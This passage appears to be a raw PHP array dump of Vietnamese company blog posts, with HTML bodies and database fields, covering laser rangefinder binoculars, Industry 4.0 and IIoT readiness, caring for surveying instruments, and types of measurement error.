style="font-family:tahoma,geneva,sans-serif;"><strong>Ống nhòm đo khoảng cách</strong> hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó để tính ra khoảng cách của vật.<br /> <br /> <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Dựa theo nguyên lý trên nên việc đo đạc vô cùng thuận tiện, tuy nhiên để đo khoảng cách chính xác tuyệt đối thì không thể bằng những loại thước chuyên dụng khác. Bởi vì tốc độ ánh sáng rất nhanh, ở cự ly gần thì ánh sáng phản hồi lại là tức thì cho nên loại ống nhòm này đa số được dùng cho hải quân trên biển hoặc mục đích giải trí như chơi golf là chính.</span><br /> <br /> <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Bộ xung trong </span>ống nhòm đo khoảng cách <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">có trách nhiệm mã hóa để tránh tình trạng nhiễu ở thiết bị khi ánh sáng xung quanh mạnh, do vậy sẽ giúp việc đo đạc được chính xác hơn.<br /> <img alt="" src="/admin/webroot/upload/image/images/ống-nhòm-đo-khoảng-cách-coolshot-pro-stabilize-.jpeg" style="width: 800px; height: 450px;" /></span></span><br /> <br /> <strong><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Ph</span>ạm vi hoạt động</strong><br /> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Mặc dù chùm tia khá hẹp ở cự ly thấp, nhưng khoảng cách càng lớn thì chùm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> sẽ bị rẽ ra và bị trải rộng, Ngoài ra yếu tố thời tiết cũng ảnh hưởng rất nhiều đến độ chính xác của thiết bị, nghe có vẻ vô lý vì gió không thể tác động trực tiếp vào ánh sáng thì sao có thể gây cản trở được? Tuy nhiên khi có gió đẩy ngang thì khí nóng cũng sẽ bi tạt sang một bên, do vậy khi đo ở vị trí xa thì cũng ít nhiều bị ảnh hưởng. Còn một vấn đề nữa đó là vật đo bị khuất sau cây, có thể là 1 bụi cây thưa ánh sáng đủ sức chiếu qua nhưng khi chìm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> của ống nhòm đo khoảng cách đi qua sẽ bị phản xạ lại sẽ làm giảm chính xác.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/do-khoang-cach.jpg" style="width: 960px; height: 540px;" /></span></span></span><br /> <strong style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px; margin: 0px; padding: 0px;">Công nghệ được sử dụng trên ống nhòm đo khoảng cách</strong><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ tính thời gian bay: Ứng dụng này có thể đo được thời gian mà ánh sáng đến mục tiêu và bị phản lại, Nó được lập trình để lấy tốc độ ánh sáng nhân với số giây quay trở lại để tính ra khoảng cách chính xác nhất.</span><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ dịch pha tầng số: nhằm mục đích đo tầng số hiện tại để cho ra số liệu cuối cùng khi tính được khoảng cách ở trên</span><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ đo sự giao thoa: Nhằm mục đích phát hiện những thay đổi giữa vật đo và thiết bị như gió hay nhiệt độ để cho kết quả ít sai số nhất.</span><br /> <br /> <p style="margin: 10px 0px; padding: 0px;"> </p> ', 'images' => '201906100811094651c1abaa619828e0f9465c55605a28.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-06-10', 'modified' => '2025-08-19', 'status' => '1', 'view' => '89620', 'slug' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '943', 'rght' => '944', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 1 => array( 'Post' => array( 'id' => '538', 'name' => 'Làm thế nào để các nhà sản xuất có thể sẵn sàng cho cách mạng công nghiệp 4.0 và IIoT?', 'code' => null, 'alias' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="color: rgb(74, 74, 74);">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi </span><em style="box-sizing: border-box; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">Mạng lưới vạn vật kết nối Internet</em><span style="color: rgb(74, 74, 74);"> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></span>', 'content' => '<h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;"> </h1> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi <em style="box-sizing: border-box;">Mạng lưới vạn vật kết nối Internet</em> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 mang đến khái niệm “Nhà máy thông minh”. Tập trung vào việc sử dụng hệ thống không gian mạng thực-ảo để giám sát quy trình nhà máy thực tế và tạo các quyết định tự động dựa trên cơ sở dữ liệu. Tạo hệ thống thực tế thông minh sử dụng IoT và giao tiếp thời gian thực , chúng kết hợp với nhau, với con người thông qua mạng không dây.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <img alt="" src="/admin/webroot/upload/image/images/CM 4_0.jpg" style="width: 320px; height: 158px;" /></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <span style="box-sizing: border-box; font-weight: 700;">Vai trò của IIoT trong công nghiệp 4.0</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">IIoT hình thành xương sống cho bất kỳ s</span><span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(34, 34, 34);">á</span></span></span><span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">ng kiến nào hướng đến công nghiệp 4.0. Bằng cách sử dụng công nghệ cảm biến, IIoT cho phép truyền tín hiệu từ máy móc sang hệ thống máy tính. Trong khi thông tin cơ bản về máy móc chỉ có thể truy cập được trong khoảng thời gian rất nhỏ, IIoT vẫn mang về cái nhìn tối tân hơn nhiều về lĩnh vực kinh doanh. Thông cụ thể này cung cấp phạm vi cho tự động hóa. Nếu được phân tích đúng cách, dữ liệu nhận được từ cảm biến IoT có thể cung cấp thông tin để tối ưu hóa các khía cạnh khác nhau của quy trình sản xuất.</span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> </p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-weight: 700; font-family: tahoma, geneva, sans-serif; font-size: 14px;">Làm gì để một nhà máy sẵn sàng cho Công nghiệp 4.0?</span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;"> </span>Đây là 4 điều kiện tiên quyết cho 1 nhà máy hoặc hệ thống cần có thì mới được gọi là Công nghiệp 4.0</span></span></p> <ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Khả năng giao tiếp</span></span></span></h1> </li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Thiêt lập đường truyền giao tiếp , xác định rõ ràng phương thức trao đổi, sử dụng, thu thập dữ liệu. Các máy móc, thiết bị, cảm biến và cả con người phải được kết nối, chia sẻ thông tin và thao tác trên dữ liệu nhận được.</span></span></p> <ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Minh bạch thông tin</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Điều quan trọng là thông tin nhận được phải rõ rang, ngắn gọn và dễ hiểu. Hệ thống tạo ra một "bản sao" của thế giới thật, bản sao này định hình bằng các dữ liệu thu thập từ cảm biến, máy móc</span></span></p> <ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Hỗ trợ kỹ thuật</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Hệ thông này sẽ giúp con người theo 2 cách. Thứ nhất, nó sẽ hỗ trợ chúng ta ra quyết định và giải quyết vấn đề bằng cách cung cấp thông tin cho tiết dựa vào dữ liệu. Thứ hai, nó sẽ hỗ trợ chúng ta làm những việc quá phức tạp hoặc không an toàn</span></span></p> <ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Đưa quyết định theo mô hình phân tán</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống không gian mạng thực-ảo phải có khả năng đưa ra quyết định đơn giản mọt cách nhanh chóng, tự động, không cần con người can thiệp sử dụng phân tích dữ liệu. Mục tiêu cuối cùng của công nghiệp 4.0 là tự động hóa quy trình sản xuất và tối đa hóa quy mô. Sử dụng quy trình tự động hóa này, công việc có thể được thực hiện bằng máy móc, tăng phạm vi tối ưu hóa thời gian và phân bổ nguồn lực.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> </p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thử thách liên quan đến việc triển khai công nghiệp 4.0?</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <img alt="" src="/admin/webroot/upload/image/images/CM 4_0 2(1).jpg" style="width: 276px; height: 182px;" /></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">Triển khai công nghiệp 4.0 cũng có thể sẽ gặp phải các khó khăn sau:</span></p> <ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Vấn đề bảo mật</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Toàn bộ dữ liệu đều có sẵn , truyền qua Internet đến thiết bị từ xa. Điều này cho thấy dữ liệu rất có nguy cơ bị xâm phạm bảo mật, ăn cắp và thao tác.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Kiến thức sản xuất độc quyền, nếu bị xâm nhập, sẽ có thể dẫn đến thiệt hại lớn đến doanh thu của công ty.</span></span></p> <ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Tin tưởng và ổn định</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu thông tin liên lạc nhận được qua cảm biến IoT không được sắp xếp hoặc không đúng lúc sẽ được xem là không đáng tin cậy. Rõ rang, bạn không thể tự động hóa một nhà máy hoạt động dựa trên dữ liệu không đáng tin cậy. Việc duy trì sự toàn vẹn quy trình sản xuất trong khi giảm thiểu sự can thiệp của con người rất phức tạp</span></span></p> <ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thiết lập kết nối</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Chúng ta gần như không thể đảm bảo kết nối internet 100%. Kể cả khi mạng không có khả năng bị hỏng bất ngờ, bạn vẫn sẽ cần tính đến việc bảo trì máy chủ. Rất khó để đảm bảo không mất dữ liệu ngay cả khi kết nối cực hạn hoặc bùng phát đột ngột.</span></span></p> <ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Phối hợp hệ thống cũ với IIoT</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống cũ không được thiết kế để tuân thủ các yêu cầu của công nghệ cảm biến. Nhưng hiện đại hóa toàn bộ cơ sở hạ tầng là không khả khi đối với phần lớn các nhà sản xuất. Vì vậy, đòi hỏi phải phối hợp IIoT với hệ thống máy móc cũ để đảm bảo ROI tốt nhất với sự đầu tư của nhà sản xuất.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ngoài nhứng thách thức trên, nhà sản xuất cũng phải đối mặt với các vấn đề từ nhà đầu tư, đội ngũ kỹ thuật nội bộ. Các nhà đầu tư khá miễn cưỡng với các cuộc cách mạng quy mô lớn. Đồng thời, năng lực IT có sẵn không thường xuyên được cập nhật để xử lý những thách thức này. Dữ liệu nghiên cứu thị trường và xu hướng chuyển đổi kỹ thuật số đã mở ra cái nhìn mới cho nhà đầu tư. Hạn chế về năng lực kỹ thuật vẫn sẽ là mối quan tâm chung khi triển khai bất kỳ IIoT.</span></span></p> ', 'images' => '201905200812307bda1a1c4b780f467d4ece9a47eb5c1b.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-05-20', 'modified' => '2025-08-19', 'status' => '1', 'view' => '63417', 'slug' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '941', 'rght' => '942', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 2 => array( 'Post' => array( 'id' => '537', 'name' => 'Cách bảo quản thiết bị trắc địa đúng cách', 'code' => null, 'alias' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Bảo quản thiết bị trắc địa đúng cách rất quan trọng đối với các kĩ sư đo đạc. Nhất là khi giá trị của các thiết bị như máy toàn đạc điện tử, máy thủy bình,… không hề nhỏ. Bảo quản thiết bị trắc địa tốt sẽ giúp tiết kiệm nhân công, thời gian, chi phí cho các công trình xây dựng. </span></span>', 'content' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>Thiết bị trắc địa</strong> cần được bảo quản cẩn thận để phát huy tối đa tính năng sử dụng của nó cũng như giảm chi phí đầu tư. Trước khi sử dụng thiết bị, hãy dành một ít thời gian để đọc và làm theo hướng dẫn bảo trì sau:<br /> - Không để thiết bị dưới ánh mặt trời trực tiếp hoặc trong xe kín trong thời gian dài. Nhiệt độ quá nóng có thể làm giảm hiệu quả của nó.<br /> - Nếu thiết bị đã được sử dụng trong điều kiện ẩm ướt, ngay lập tức lau sạch bất kỳ độ ẩm và làm khô thiết bị hoàn toàn trước khi cho lại thiết bị vào hộp đựng.<br /> - Thiết bị điện tử nhạy cảm đã được bảo vệ tốt trong hộp đựng chống lại bụi và độ ẩm.<br /> Tuy nhiên, nếu bụi hoặc hơi ẩm bám vào dụng cụ, có thể gây ra hư hại nghiêm trọng. Vì vậy, hãy chắc chắn thiết bị của bạn được bỏ vào hộp ngay sau khi sử dụng và vệ sinh.<br /> - Những thay đổi đột ngột về nhiệt độ có thể làm mờ ống kính và giảm đáng kể mức đo được khoảng cách hoặc gây ra lỗi hệ thống điện. Nếu có sự thay đổi đột ngột về nhiệt độ, để dụng cụ trong hộp đựng kín ở vị trí ấm cho đến khi nhiệt độ của thiết bị trở về nhiệt độ phòng.<br /> - Không bảo quản thiết bị trắc địa ở những nơi nóng hoặc ẩm ướt. Đặc biệt, bạn phải lưu trữ bộ pin ở nơi khô ráo ở nhiệt độ dưới 30 ° C (86 ° F). Nhiệt độ cao hoặc độ ẩm quá mức có thể khiến nấm mốc phát triển trên các ống kính. Nó cũng có thể làm cho thị kính điện tử bị mờ đi và do đó dẫn đến việc khó bắt mục tiêu.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/DTM 322(1).jpg" style="width: 400px; height: 391px;" /><br /> - Khi bảo quản thiết bị ở những nơi có nhiệt độ cực thấp, hãy để hộp đựng mở.<br /> - Khi điều chỉnh các ốc cân bằng máy, hãy đặt vị trí càng gần vị trí trung tâm của ốc cân bằng máy.<br /> - Không sử dụng dung môi hữu cơ (chẳng hạn như ether hoặc chất pha loãng sơn) để làm sạch các bộ phận phi kim loại của thiết bị (chẳng hạn như bàn phím hoặc các bề mặt được sơn của máy). Làm như vậy có thể dẫn đến đổi màu bề mặt, hoặc lột các ký tự logo. Làm sạch những bộ phận này chỉ bằng một bông gòn, vải hoặc khăn giấy, thấm nhẹ bằng nước hoặc chất tẩy nhẹ.<br /> - Để vệ sinh ống kính quang học, hãy lau nhẹ bằng một miếng vải mềm hoặc bông gòn được thấm cồn.<br /> - Trước khi gắn pin, hãy chắc chắn rằng bề mặt tiếp xúc trên bề mặt pin và dụng cụ đã được lau chùi sạch sẽ.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/HOP MAY_02 B40A(2).jpg" /><br /> - Hộp đựng được thiết kế kín nước, nhưng bạn không nên để nó tiếp xúc với mưa lớn.<br /> <br /> Bảo quản thiết bị trắc địa là một trong những khâu quan trọng giúp việc đo đạc được chính xác. Nó giúp hỗ trợ giảm chi phí đầu tư cũng như chi phí sửa chữa máy. Hy vọng những thông tin trên sẽ hữu ích cho bạn.<br /> </span></span>', 'images' => '201905030810258d806bbec8ab9ba5235e121c05e3154a.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-05-03', 'modified' => '2025-08-18', 'status' => '1', 'view' => '75066', 'slug' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '939', 'rght' => '940', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 3 => array( 'Post' => array( 'id' => '536', 'name' => 'Các loại sai số, tiêu chí đánh giá độ chính xác kết quả đo', 'code' => null, 'alias' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1. Các loại sai số trong đo đạc.</em></span></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số sai lầm.</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số sai lầm là do người đo thiếu cẩn thận trong khi đo, hoặc kỹ thuật đo không bảo đảm. Sai số này thường có giá trị tương đối lớn.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Khắc phục: đổi người đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số hệ thống:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số do độ chính xác của máy và không bảo đảm hoặc do thói quen, thị lực của người đo.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số hệ thống thường có dấu và giá trị không đổi.</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: 